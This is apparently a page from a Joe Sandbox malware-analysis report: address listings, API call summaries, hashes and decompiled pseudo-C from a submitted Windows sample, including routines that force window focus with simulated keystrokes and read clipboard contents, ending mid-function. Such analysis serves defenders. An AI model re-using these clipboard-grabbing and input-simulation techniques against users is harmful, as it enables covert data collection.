                                                                                                                                                                            0x004375bd
                                                                                                                                                                            0x004375c1
                                                                                                                                                                            0x004375d0
                                                                                                                                                                            0x004375de
                                                                                                                                                                            0x004375de
                                                                                                                                                                            0x004375e9
                                                                                                                                                                            0x004375ee
                                                                                                                                                                            0x004375ee
                                                                                                                                                                            0x004375f5
                                                                                                                                                                            0x004375fd
                                                                                                                                                                            0x00437605
                                                                                                                                                                            0x004376ef
                                                                                                                                                                            0x0043760b
                                                                                                                                                                            0x00437617
                                                                                                                                                                            0x00437622
                                                                                                                                                                            0x0043762e
                                                                                                                                                                            0x00437632
                                                                                                                                                                            0x00437638
                                                                                                                                                                            0x0043763e
                                                                                                                                                                            0x00437645
                                                                                                                                                                            0x0043764d
                                                                                                                                                                            0x004376c1
                                                                                                                                                                            0x0043764f
                                                                                                                                                                            0x0043765d
                                                                                                                                                                            0x00437674
                                                                                                                                                                            0x0043768b
                                                                                                                                                                            0x004376a2
                                                                                                                                                                            0x004376b5
                                                                                                                                                                            0x004376b7
                                                                                                                                                                            0x004376b7
                                                                                                                                                                            0x004376b5
                                                                                                                                                                            0x004376cd
                                                                                                                                                                            0x004376d3
                                                                                                                                                                            0x004376d9
                                                                                                                                                                            0x004376e4
                                                                                                                                                                            0x004376e4
                                                                                                                                                                            0x004375c4
                                                                                                                                                                            0x004375cb
                                                                                                                                                                            0x004375cb

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
                                                                                                                                                                            • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
                                                                                                                                                                            • IsIconic.USER32(?), ref: 004375E1
                                                                                                                                                                            • ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
                                                                                                                                                                            • SetForegroundWindow.USER32(?), ref: 004375FD
                                                                                                                                                                            • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 00437619
                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
                                                                                                                                                                            • SetForegroundWindow.USER32(?), ref: 00437645
                                                                                                                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
                                                                                                                                                                            • keybd_event.USER32(00000012,00000000), ref: 0043765D
                                                                                                                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
                                                                                                                                                                            • keybd_event.USER32(00000012,00000000), ref: 00437674
                                                                                                                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
                                                                                                                                                                            • keybd_event.USER32(00000012,00000000), ref: 0043768B
                                                                                                                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
                                                                                                                                                                            • keybd_event.USER32(00000012,00000000), ref: 004376A2
                                                                                                                                                                            • SetForegroundWindow.USER32(?), ref: 004376AD
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                                                                                                            • String ID: Shell_TrayWnd
                                                                                                                                                                            • API String ID: 3778422247-2988720461
                                                                                                                                                                            • Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                                            • Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
                                                                                                                                                                            • Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                                            • Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046C604 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 216clipboardCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 93%
                                                                                                                                                                            			E0046C604(intOrPtr* __ecx, void* __eflags, void* __fp0, intOrPtr _a8) {
				short _v532;
				char _v556;
				char _v564;
				intOrPtr* _v568;
				char _v572;
				char _v580;
				char _v584;
				void* _v588;
				char _v592;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t41;
				void* _t42;
				void* _t43;
				intOrPtr _t44;
				void* _t51;
				void* _t53;
				void* _t81;
				void* _t101;
				void* _t108;
				void* _t111;
				intOrPtr* _t145;
				int _t147;
				void* _t155;

				_t163 = __fp0;
				_t145 = __ecx;
				_t115 =  &_v584;
				_v568 = __ecx;
				E0040C060( &_v584, __eflags);
				_t106 = _a8;
				E0040E6D0(_a8, __eflags);
				OpenClipboard( *0x4972c0);
				if(IsClipboardFormatAvailable(0xd) == 0) {
					_t41 = IsClipboardFormatAvailable(1);
					__eflags = _t41;
					if(_t41 == 0) {
						_t42 = IsClipboardFormatAvailable(0xf);
						__eflags = _t42;
						if(_t42 == 0) {
							_t43 = CountClipboardFormats();
							_push(0);
							__eflags = _t43;
							if(_t43 == 0) {
								_t44 =  *((intOrPtr*)( *_t145 + 4));
								_push(1);
							} else {
								_t44 =  *((intOrPtr*)( *_t145 + 4));
								_push(2);
							}
							__eflags = _t44 + _t145;
							E004040E0(_t44 + _t145);
							goto L22;
						} else {
							_t51 = GetClipboardData(0xf);
							_t108 = _t51;
							__eflags = _t108;
							if(_t108 != 0) {
								GlobalFix(_t108);
								__eflags = _t51;
								if(_t51 != 0) {
									_t53 = DragQueryFileW(_t108, 0xffffffff, 0, 0) - 1;
									_t147 = 0;
									_v588 = _t53;
									__eflags = _t53;
									if(_t53 > 0) {
										do {
											DragQueryFileW(_t108, _t147,  &_v532, 0x104);
											E0040D330( &_v584, _t108,  &_v532, __fp0);
											E00403470( &_v584, _t108, _t155, __fp0, 0xa);
											_t147 = _t147 + 1;
											__eflags = _t147 - _v592;
										} while (_t147 < _v592);
									}
									DragQueryFileW(_t108, _t147,  &_v532, 0x104);
									E0040D330( &_v584, _t108,  &_v532, _t163);
									E0040E640(_t108, _t115,  &_v584, _a8, __eflags);
									GlobalUnWire(_t108);
									E00404120( *((intOrPtr*)( *_v568 + 4)) + _v568, 1, 0);
									goto L22;
								} else {
									CloseClipboard();
									E004040E0( *((intOrPtr*)( *_t145 + 4)) + _t145, 4, 0);
									E00402620( &_v592);
									__eflags = 0;
									return 0;
								}
							} else {
								CloseClipboard();
								E004040E0( *((intOrPtr*)( *_t145 + 4)) + _t145, 3, _t108);
								E00402620( &_v592);
								__eflags = 0;
								return 0;
							}
						}
					} else {
						_t81 = GetClipboardData(1);
						_t111 = _t81;
						__eflags = _t111;
						if(_t111 == 0) {
							goto L2;
						} else {
							GlobalFix(_t111);
							__eflags = _t81;
							if(__eflags == 0) {
								goto L4;
							} else {
								E004453C4(_t111,  &_v584, __eflags,  &_v564, _t81);
								E0040E640(_t111,  &_v556, E00465D24( &_v572,  &_v556), _a8, __eflags);
								E00402620( &_v564);
								GlobalUnWire(_t111);
								E00401330( &_v572,  &_v580);
								goto L22;
							}
						}
					}
				} else {
					_t101 = GetClipboardData(0xd);
					_v588 = _t101;
					if(_t101 != 0) {
						GlobalFix(_t101);
						__eflags = _t101;
						if(__eflags != 0) {
							E0040E6D0(_t106, __eflags);
							GlobalUnWire(_v588);
							L22:
							CloseClipboard();
							E00402620( &_v584);
							__eflags = 0;
							return 0;
						} else {
							L4:
							CloseClipboard();
							E004040E0( *((intOrPtr*)( *_t145 + 4)) + _t145, 4, 0);
							E00402620( &_v592);
							__eflags = 0;
							return 0;
						}
					} else {
						L2:
						CloseClipboard();
						E004040E0( *((intOrPtr*)( *_t145 + 4)) + _t145, 3, 0);
						E00402620( &_v592);
						return 0;
					}
				}
			}





























                                                                                                                                                                            0x0046c604
                                                                                                                                                                            0x0046c612
                                                                                                                                                                            0x0046c615
                                                                                                                                                                            0x0046c619
                                                                                                                                                                            0x0046c61d
                                                                                                                                                                            0x0046c622
                                                                                                                                                                            0x0046c62a
                                                                                                                                                                            0x0046c635
                                                                                                                                                                            0x0046c647
                                                                                                                                                                            0x0046c6d5
                                                                                                                                                                            0x0046c6d7
                                                                                                                                                                            0x0046c6d9
                                                                                                                                                                            0x0046c73c
                                                                                                                                                                            0x0046c73e
                                                                                                                                                                            0x0046c740
                                                                                                                                                                            0x0046c843
                                                                                                                                                                            0x0046c849
                                                                                                                                                                            0x0046c84b
                                                                                                                                                                            0x0046c84d
                                                                                                                                                                            0x0046c85a
                                                                                                                                                                            0x0046c85d
                                                                                                                                                                            0x0046c84f
                                                                                                                                                                            0x0046c851
                                                                                                                                                                            0x0046c854
                                                                                                                                                                            0x0046c854
                                                                                                                                                                            0x0046c85f
                                                                                                                                                                            0x0046c861
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046c746
                                                                                                                                                                            0x0046c748
                                                                                                                                                                            0x0046c74e
                                                                                                                                                                            0x0046c750
                                                                                                                                                                            0x0046c752
                                                                                                                                                                            0x0046c77e
                                                                                                                                                                            0x0046c784
                                                                                                                                                                            0x0046c786
                                                                                                                                                                            0x0046c7bf
                                                                                                                                                                            0x0046c7c0
                                                                                                                                                                            0x0046c7c2
                                                                                                                                                                            0x0046c7c6
                                                                                                                                                                            0x0046c7c8
                                                                                                                                                                            0x0046c7ca
                                                                                                                                                                            0x0046c7d6
                                                                                                                                                                            0x0046c7e4
                                                                                                                                                                            0x0046c7ef
                                                                                                                                                                            0x0046c7f4
                                                                                                                                                                            0x0046c7f5
                                                                                                                                                                            0x0046c7f5
                                                                                                                                                                            0x0046c7ca
                                                                                                                                                                            0x0046c807
                                                                                                                                                                            0x0046c815
                                                                                                                                                                            0x0046c821
                                                                                                                                                                            0x0046c827
                                                                                                                                                                            0x0046c83c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046c788
                                                                                                                                                                            0x0046c788
                                                                                                                                                                            0x0046c799
                                                                                                                                                                            0x0046c7a2
                                                                                                                                                                            0x0046c7a7
                                                                                                                                                                            0x0046c7af
                                                                                                                                                                            0x0046c7af
                                                                                                                                                                            0x0046c754
                                                                                                                                                                            0x0046c754
                                                                                                                                                                            0x0046c764
                                                                                                                                                                            0x0046c76d
                                                                                                                                                                            0x0046c772
                                                                                                                                                                            0x0046c77a
                                                                                                                                                                            0x0046c77a
                                                                                                                                                                            0x0046c752
                                                                                                                                                                            0x0046c6db
                                                                                                                                                                            0x0046c6dd
                                                                                                                                                                            0x0046c6e3
                                                                                                                                                                            0x0046c6e5
                                                                                                                                                                            0x0046c6e7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046c6ed
                                                                                                                                                                            0x0046c6ee
                                                                                                                                                                            0x0046c6f4
                                                                                                                                                                            0x0046c6f6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046c6f8
                                                                                                                                                                            0x0046c6fe
                                                                                                                                                                            0x0046c717
                                                                                                                                                                            0x0046c720
                                                                                                                                                                            0x0046c726
                                                                                                                                                                            0x0046c730
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046c730
                                                                                                                                                                            0x0046c6f6
                                                                                                                                                                            0x0046c6e7
                                                                                                                                                                            0x0046c64d
                                                                                                                                                                            0x0046c64f
                                                                                                                                                                            0x0046c655
                                                                                                                                                                            0x0046c65b
                                                                                                                                                                            0x0046c688
                                                                                                                                                                            0x0046c68e
                                                                                                                                                                            0x0046c690
                                                                                                                                                                            0x0046c6be
                                                                                                                                                                            0x0046c6c8
                                                                                                                                                                            0x0046c866
                                                                                                                                                                            0x0046c866
                                                                                                                                                                            0x0046c870
                                                                                                                                                                            0x0046c877
                                                                                                                                                                            0x0046c87d
                                                                                                                                                                            0x0046c692
                                                                                                                                                                            0x0046c692
                                                                                                                                                                            0x0046c692
                                                                                                                                                                            0x0046c6a3
                                                                                                                                                                            0x0046c6ac
                                                                                                                                                                            0x0046c6b1
                                                                                                                                                                            0x0046c6b9
                                                                                                                                                                            0x0046c6b9
                                                                                                                                                                            0x0046c65d
                                                                                                                                                                            0x0046c65d
                                                                                                                                                                            0x0046c65d
                                                                                                                                                                            0x0046c66e
                                                                                                                                                                            0x0046c677
                                                                                                                                                                            0x0046c684
                                                                                                                                                                            0x0046c684
                                                                                                                                                                            0x0046c65b

                                                                                                                                                                            APIs
                                                                                                                                                                            • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                                            • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                                            • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                                            • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                                            • GlobalFix.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                                            • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                                            • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                                            • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                                            • GlobalFix.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                                            • GlobalUnWire.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                                            • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Clipboard$CloseGlobal$AvailableDataFormat$OpenWire
                                                                                                                                                                            • String ID: HH
                                                                                                                                                                            • API String ID: 3718782423-2761332787
                                                                                                                                                                            • Opcode ID: 63db885bd4685d11ba04ca2dc2cd5436c3481a0afd633c76eaef38f385c21831
                                                                                                                                                                            • Instruction ID: 24f9a4a7d39f76c57f2b33bac287345acac4ca31e4121bc437e702b91e2a4168
                                                                                                                                                                            • Opcode Fuzzy Hash: 63db885bd4685d11ba04ca2dc2cd5436c3481a0afd633c76eaef38f385c21831
                                                                                                                                                                            • Instruction Fuzzy Hash: F861E5722003019BD310EF65DD86B5E77A8EF54705F00483EFA41E72D1EBB5D9058BAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00409A40 Relevance: 32.2, APIs: 15, Strings: 2, Instructions: 2432COMMONCrypto
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 78%
                                                                                                                                                                            			E00409A40(signed int* __eax, void* __eflags, void* __fp0, void* _a4, void _a8, void** _a12, void** _a16) {
				intOrPtr _v8;
				short _v10;
				short _v12;
				intOrPtr _v24;
				char _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				char _v44;
				void* _v48;
				long _v52;
				void* _v56;
				void _v60;
				char _v68;
				void* _v72;
				char _v76;
				void* _v80;
				void* _v84;
				void* _v92;
				void* _v96;
				signed int _v100;
				void* _v104;
				void _v108;
				void* _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				char _v128;
				void* _v132;
				void _v136;
				signed int _v140;
				void _v144;
				void* _v148;
				void* _v152;
				char _v153;
				signed int _v160;
				intOrPtr _v164;
				signed int _v168;
				signed int _v172;
				long _v176;
				WCHAR* _v180;
				signed int _v184;
				long _v188;
				void _v192;
				void* _v196;
				void* _v200;
				signed int _v204;
				long _v208;
				signed int _v212;
				signed int _v216;
				signed int _v224;
				signed int _v236;
				intOrPtr _v240;
				void** __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t945;
				void* _t946;
				signed int _t947;
				long* _t951;
				long _t954;
				signed int _t959;
				void* _t966;
				void* _t974;
				signed int _t975;
				signed int _t976;
				signed int _t981;
				signed int _t985;
				void* _t987;
				void* _t989;
				intOrPtr _t990;
				intOrPtr _t991;
				intOrPtr _t994;
				intOrPtr _t1000;
				void* _t1001;
				intOrPtr _t1002;
				intOrPtr _t1005;
				void* _t1007;
				intOrPtr _t1008;
				void* _t1014;
				intOrPtr _t1016;
				void* _t1017;
				intOrPtr _t1018;
				void* _t1020;
				void* _t1021;
				void* _t1119;
				void* _t1121;
				void* _t1122;
				void* _t1123;
				signed int _t1124;
				void _t1126;
				void* _t1133;
				void* _t1137;
				void* _t1139;
				void* _t1140;
				long _t1141;
				void* _t1165;
				void* _t1172;
				void* _t1173;
				void* _t1175;
				void* _t1176;
				long _t1177;
				signed int _t1178;
				void* _t1180;
				void* _t1187;
				void* _t1192;
				signed int _t1193;
				signed int _t1195;
				intOrPtr _t1209;
				signed int _t1210;
				intOrPtr _t1211;
				void* _t1213;
				void* _t1216;
				void* _t1218;
				void* _t1220;
				void* _t1223;
				void* _t1231;
				signed int* _t1233;
				void _t1235;
				void* _t1236;
				void* _t1238;
				void** _t1239;
				void* _t1243;
				intOrPtr* _t1244;
				signed int _t1245;
				signed int* _t1247;
				void* _t1248;
				long _t1251;
				signed int _t1252;
				void* _t1253;
				void* _t1255;
				void* _t1256;
				intOrPtr* _t1257;
				signed int _t1258;
				void* _t1259;
				void* _t1261;
				void* _t1262;
				long _t1264;
				signed int _t1265;
				intOrPtr _t1266;
				signed int _t1267;
				signed int* _t1269;
				void* _t1271;
				void* _t1276;
				short* _t1282;
				void* _t1283;
				void _t1286;
				void* _t1287;
				void* _t1289;
				void _t1293;
				void* _t1295;
				void _t1298;
				void* _t1300;
				void* _t1301;
				void _t1303;
				void _t1305;
				long _t1307;
				signed int _t1308;
				void* _t1312;
				signed int _t1313;
				void* _t1314;
				void _t1315;
				intOrPtr* _t1325;
				signed int _t1327;
				signed int _t1328;
				void* _t1334;
				intOrPtr* _t1336;
				void* _t1339;
				void* _t1342;
				intOrPtr _t1347;
				signed int _t1349;
				intOrPtr _t1352;
				signed int _t1354;
				void* _t1358;
				void* _t1364;
				long _t1366;
				void* _t1367;
				signed int _t1368;
				signed int _t1369;
				long _t1371;
				void* _t1375;
				void* _t1376;
				void* _t1378;
				signed int _t1379;
				long _t1381;
				signed int _t1382;
				void* _t1387;
				void* _t1394;
				void* _t1397;
				void* _t1399;
				intOrPtr* _t1400;
				void _t1404;
				intOrPtr _t1412;
				void* _t1414;
				void** _t1415;
				void** _t1419;
				void* _t1420;
				void** _t1421;
				void* _t1422;
				void* _t1423;
				void* _t1424;
				short _t1452;
				void* _t1453;
				void* _t1454;
				intOrPtr _t1456;
				void* _t1459;
				intOrPtr _t1466;
				intOrPtr _t1467;
				void* _t1486;
				void* _t1489;
				void* _t1490;
				intOrPtr _t1495;
				void* _t1496;
				void* _t1497;
				void** _t1498;
				signed int _t1503;
				intOrPtr _t1512;
				void* _t1515;
				void _t1516;
				signed int* _t1518;
				void* _t1519;
				void _t1521;
				void _t1527;
				void _t1542;
				void* _t1545;
				intOrPtr* _t1553;
				void* _t1557;
				intOrPtr _t1567;
				intOrPtr _t1569;
				intOrPtr _t1570;
				signed int _t1578;
				intOrPtr _t1579;
				intOrPtr _t1583;
				intOrPtr _t1589;
				WCHAR* _t1602;
				void* _t1615;
				void* _t1618;
				void* _t1643;
				intOrPtr _t1651;
				signed int _t1652;
				intOrPtr _t1656;
				intOrPtr _t1659;
				void* _t1660;
				void* _t1664;
				void* _t1675;
				void* _t1683;
				intOrPtr _t1690;
				intOrPtr _t1699;
				intOrPtr _t1704;
				intOrPtr _t1710;
				void* _t1714;
				intOrPtr* _t1715;
				intOrPtr* _t1716;
				intOrPtr* _t1717;
				intOrPtr* _t1718;
				void* _t1719;
				void _t1720;
				void* _t1722;
				void _t1723;
				signed int _t1728;
				signed int _t1732;
				void* _t1733;
				long _t1734;
				void* _t1737;
				signed int _t1741;
				void* _t1743;
				void* _t1745;
				void* _t1749;
				void _t1750;
				intOrPtr* _t1751;
				void** _t1752;
				void** _t1758;
				signed int _t1759;
				intOrPtr _t1760;
				char* _t1761;
				void* _t1767;
				signed int _t1768;
				void _t1769;
				long _t1771;
				signed int _t1772;
				void _t1777;
				signed int _t1780;
				void* _t1784;
				signed int _t1785;
				void* _t1788;
				void* _t1791;
				void* _t1808;
				signed int _t1818;
				void* _t1833;

				_t1833 = __fp0;
				_t1410 = _a8;
				_t1712 = __eax;
				_t1736 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t1410 + 4) +  *__eax * 4))))));
				_t945 = E004112D5( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t1410 + 4) +  *__eax * 4)))))));
				_t1788 = (_t1785 & 0xfffffff8) - 0xd4 + 4;
				_v176 = _t945;
				_t946 = _t945 + 1;
				if(_t946 == 0) {
					_t947 = 8;
				} else {
					_t947 = (_t946 + 7 >> 3) + (_t946 + 7 >> 3) + (_t946 + 7 >> 3) + (_t946 + 7 >> 3) + (_t946 + 7 >> 3) + (_t946 + 7 >> 3) + (_t946 + 7 >> 3) + (_t946 + 7 >> 3);
					_t1818 = _t947;
				}
				_v172 = _t947;
				_push( ~(0 | _t1818 > 0x00000000) | _t947 * 0x00000002);
				_v180 = E0041171A(_t1410, _t1712, _t1818);
				E00410F70(_t1410, _t1712, _t1736, _t949, _t1736, _v176 + _v176 + 2);
				_push(4);
				_t951 = E0041171A(_t1410, _t1712, _t1818);
				_t1791 = _t1788 + 0x14;
				if(_t951 == 0) {
					_t951 = 0;
				} else {
					 *_t951 = 1;
				}
				_t1737 = _a4;
				_v168 = _t951;
				if( *((intOrPtr*)(_t1737 + 0x140)) == 0) {
					L289:
					E00402620( &_v180);
					L290:
					_push(_a12);
					_t954 = E0047D10E(__eflags, _t1833, _a4, _t1410, _t1712);
					L265:
					return _t954;
				}
				if( *_t951 > 1) {
					 *_v168 =  *_v168 - 1;
					E004013E0( &_v180, __eflags);
					_t959 = E00446547(_v176 + 1);
					_v176 = _t959;
					_push( ~(0 | __eflags > 0x00000000) | _t959 * 0x00000002);
					_t1741 = E0041171A(_t1410, _t1712, __eflags);
					E00410F70(_t1410, _t1712, _t1741, _t1741, _v184, _v180 +  &(_v180[1]));
					_v184 = _t1741;
					_t1737 = _a4;
					_t1791 = _t1791 + 0x10;
				}
				CharUpperBuffW(_v180, _v176);
				_t966 =  *((intOrPtr*)(_t1737 + 0x13c));
				if(_t966 != 0) {
					_t1743 =  *((intOrPtr*)(_t1737 + 0x140)) - 1;
					__eflags = _t1743;
					if(_t1743 < 0) {
						goto L289;
					}
					_v104 = _t966;
					_v112 = 0;
					_v136 = _t1743;
					do {
						asm("cdq");
						_v200 = _v112 + _v136 - _v136 >> 1;
						__eflags = E0040C0B0( *((intOrPtr*)(_v104 + (_v112 + _v136 - _v136 >> 1) * 4)),  &_v180);
						if(__eflags >= 0) {
							if(__eflags <= 0) {
								__eflags = _v112 - _v136;
								if(_v112 > _v136) {
									goto L289;
								}
								_t1745 =  *(_v104 + _v200 * 4);
								E00402620( &_v180);
								goto L17;
							}
							_t1399 = _v200 + 1;
							__eflags = _t1399;
							_v112 = _t1399;
							goto L288;
						}
						_v136 = _v200 - 1;
						L288:
						__eflags = _v112 - _v136;
					} while (_v112 <= _v136);
				} else {
					_t1745 =  *(_a4 + 0x134);
					if(_t1745 != 0) {
						_v200 = _t1745;
						do {
							_t1710 =  *((intOrPtr*)(_t1745 + 4));
							if(_t1710 != _v176) {
								goto L269;
							}
							if(_t1710 <= 0) {
								L15:
								_t1400 = _v168;
								 *_t1400 =  *_t1400 + 0xffffffff;
								_t1828 =  *_t1400;
								if( *_t1400 == 0) {
									E004112EF(_t1410, _t1710, _t1712, _t1745, _t1828, _v180);
									E004112EF(_t1410, _t1710, _t1712, _t1745, _t1828, _v168);
									_t1791 = _t1791 + 8;
								}
								L17:
								_t974 = _t1745;
								if(_t974 == 0) {
									goto L290;
								}
								_v112 =  *((intOrPtr*)(_t974 + 0x14));
								_t975 =  *_t1712;
								_v160 =  *((intOrPtr*)(_t974 + 0x18));
								_v104 =  *((intOrPtr*)(_t974 + 0x10));
								_t1615 =  *((short*)( *((intOrPtr*)( *(_t1410 + 4) + _t975 * 4)) + 0xa));
								_t976 = _t975 + 1;
								 *_t1712 = _t976;
								_v8 =  *((intOrPtr*)(_a4 + 0x148));
								_v196 = 0;
								_v188 = 1;
								_v184 = 0;
								_v180 = 0x487630;
								_v176 = 0;
								_v172 = 0;
								_v168 = 0;
								_v128 = 0x48af14;
								_v124 = 0;
								_v120 = 0;
								_v116 = 0;
								if( *((short*)( *((intOrPtr*)( *(_t1410 + 4) + _t976 * 4)) + 8)) != 0x47) {
									_push(_t1615);
									_t1616 = _a4;
									_push(0x6f);
									_push(_a4);
									goto L631;
								} else {
									_t981 = _t976 + 1;
									_v96 = _t1615;
									_t1616 = _t981;
									_v204 = 0;
									_t1749 = 0;
									_v140 = _t1616;
									while(1) {
										 *_t1712 = _t981;
										_t1452 =  *((short*)( *((intOrPtr*)( *(_t1410 + 4) + _t981 * 4)) + 8));
										if(_t1452 < 0x47) {
										}
										L21:
										_t981 = _t981 + 1;
										while(1) {
											 *_t1712 = _t981;
											_t1452 =  *((short*)( *((intOrPtr*)( *(_t1410 + 4) + _t981 * 4)) + 8));
											if(_t1452 < 0x47) {
											}
											goto L22;
										}
										goto L21;
										L22:
										_t1453 = _t1452 - 0x47;
										__eflags = _t1453;
										if(_t1453 == 0) {
											_t1749 = _t1749 + 1;
											goto L21;
										}
										_t1454 = _t1453 - 1;
										__eflags = _t1454;
										if(_t1454 != 0) {
											__eflags = _t1454 != 0x37;
											if(_t1454 != 0x37) {
												goto L21;
											}
											_t1456 =  *((intOrPtr*)( *(_t1410 + 4) + _t981 * 4 - 4));
											_t1616 =  *((short*)(_t1456 + 0xa));
											_push( *((short*)(_t1456 + 0xa)));
											_push(0x6f);
											_push(_a4);
											L631:
											E0045E62E(_t1833);
											L632:
											E004092C0(_t1712,  &_v208);
											E00434222(_t1410,  &_v140, _t1616, _t1712);
											_t941 =  &_v192; // 0x487630
											E00410AE0(_t941, _t1616, _t1712);
											_t954 = 1;
											goto L265;
										}
										__eflags = _t1749;
										if(_t1749 != 0) {
											_t1749 = _t1749 - 1;
											_t981 = _t981 + 1;
											continue;
										}
										_v208 = _t981;
										 *_t1712 = _t981 + 1;
										_t985 = _v104;
										__eflags = _t985 -  *0x4a8e90; // 0x39
										if(__eflags > 0) {
											L297:
											_v132 = _t1454;
											L28:
											__eflags = _v112 - _t1454;
											_v136 = _t1454;
											if(_v112 <= _t1454) {
												L57:
												_t1410 = _v136;
												__eflags = _t1410 - _v160;
												if(_t1410 < _v160) {
													L629:
													_push(_v96);
													_push(0x70);
													goto L630;
												}
												__eflags = _t1410 - _v112;
												if(_t1410 > _v112) {
													goto L629;
												}
												__eflags = _t1616 - _v208;
												if(_t1616 != _v208) {
													goto L629;
												}
												_t987 = _v104;
												_t1750 = 0;
												__eflags = _t987;
												_v212 = 3;
												_v200 = 0;
												_v152 = 0;
												_v148 = _t987;
												if(_t987 < 0) {
													_v148 = 0;
												}
												__eflags =  *0x4a7ce5;
												if(__eflags != 0) {
